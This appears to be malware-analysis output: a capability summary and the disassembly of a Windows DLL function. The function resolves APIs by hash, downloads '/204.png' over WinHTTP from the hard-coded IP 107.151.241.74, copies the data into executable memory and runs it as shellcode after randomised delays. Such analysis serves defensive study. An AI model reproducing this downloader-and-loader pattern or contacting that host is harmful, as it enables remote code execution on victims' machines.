Function at 0x180002260
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
mov eax, 0xdbc00
call fcn.180009930
sub rsp, rax
mov rax, qword [0x180040030]
xor rax, rsp
mov qword [rsp + 0xdbbf0], rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rcx, str.winhttp.dll
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rcx, str.ntdll.dll
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edx, 0xf5de6e59
mov rcx, rbx
call fcn.1800021ac
mov edx, 0x10c8389
mov rcx, rbx
mov r14, rax
call fcn.1800021ac
and dword [rsp + 0x20], 0
lea rcx, str.User_Agent
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call rax
mov rsi, rax
test rax, rax
je 0x180002595
mov edx, 0x1c51c457
mov rcx, rbx
call fcn.1800021ac
mov r8d, 0x50
lea rdx, str.107.151.241.74
xor r9d, r9d
mov rcx, rsi
call rax
mov rbp, rax
test rax, rax
jne 0x18000234f
lea rdx, [0x18003a7f8]
lea rcx, [0x1800413a0]
call fcn.18000556c
mov rcx, rax
call fcn.180005750
mov rcx, rsi
call r14
jmp 0x180002595
mov edx, 0xf5e93236
mov rcx, rbx
call fcn.1800021ac
and dword [rsp + 0x30], 0
lea r8, str._204.png
and qword [rsp + 0x28], 0
lea rdx, [0x18003a820]
and qword [rsp + 0x20], 0
xor r9d, r9d
mov rcx, rbp
call rax
mov rdi, rax
test rax, rax
jne 0x1800023ae
lea rdx, [0x18003a828]
lea rcx, [0x1800413a0]
call fcn.18000556c
mov rcx, rax
call fcn.180005750
mov rcx, rbp
call r14
jmp 0x180002344
mov edx, 0xf5ea1054
mov rcx, rbx
call fcn.1800021ac
and qword [rsp + 0x30], 0
xor r9d, r9d
and dword [rsp + 0x28], 0
xor r8d, r8d
and dword [rsp + 0x20], 0
xor edx, edx
mov rcx, rdi
call rax
test eax, eax
je 0x18000257a
mov edx, 0xce87357d
mov rcx, rbx
call fcn.1800021ac
xor edx, edx
mov rcx, rdi
call rax
test eax, eax
je 0x18000257a
mov edx, 0x54f59e03
mov rcx, rbx
call fcn.1800021ac
lea r9, [rsp + 0x40]
mov r8d, 0xdbba0
lea rdx, [rsp + 0x50]
mov rcx, rdi
call rax
test eax, eax
je 0x18000257a
xor ecx, ecx
call fcn.180012754
mov rcx, rax
call fcn.180011ff4
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rbp
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov ecx, dword [rsp + 0x40]
call fcn.180009104
mov rsi, rax
call fcn.180011fc8
mov r8d, eax
mov ebp, 0x4ec4ec4f
mov eax, ebp
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1a
sub r8d, ecx
imul eax, r8d, 0x7d0
movsxd rcx, eax
call fcn.1800020cc
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov rcx, rsi
call fcn.18000b0b0
call fcn.180011fc8
mov r8d, eax
mov eax, ebp
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1a
sub r8d, ecx
imul eax, r8d, 0x7d0
movsxd rcx, eax
call fcn.1800020cc
mov edx, dword [rsp + 0x40]
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x40]
mov rdx, rsi
mov rcx, rax
mov rdi, rax
call fcn.18000b0b0
call fcn.180011fc8
mov r8d, eax
mov eax, ebp
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1a
sub r8d, ecx
imul ecx, r8d, 0x7d0
movsxd rcx, ecx
call fcn.1800020cc
mov edx, 0xd67fa7cb
mov rcx, r15
call fcn.1800021ac
mov rbx, rax
call fcn.180011fc8
mov r8d, eax
mov eax, ebp
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1a
sub r8d, ecx
imul eax, r8d, 0x7d0
movsxd rcx, eax
call fcn.1800020cc
mov r9d, 0x15
or r8d, 0xffffffff
mov edx, 0x400
mov rcx, rdi
call rbx
mov rcx, rsi
call fcn.1800090c0
jmp 0x180002595
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rbp
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0xdbbf0]
xor rcx, rsp
call fcn.1800090a0
lea r11, [rsp + 0xdbc00]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret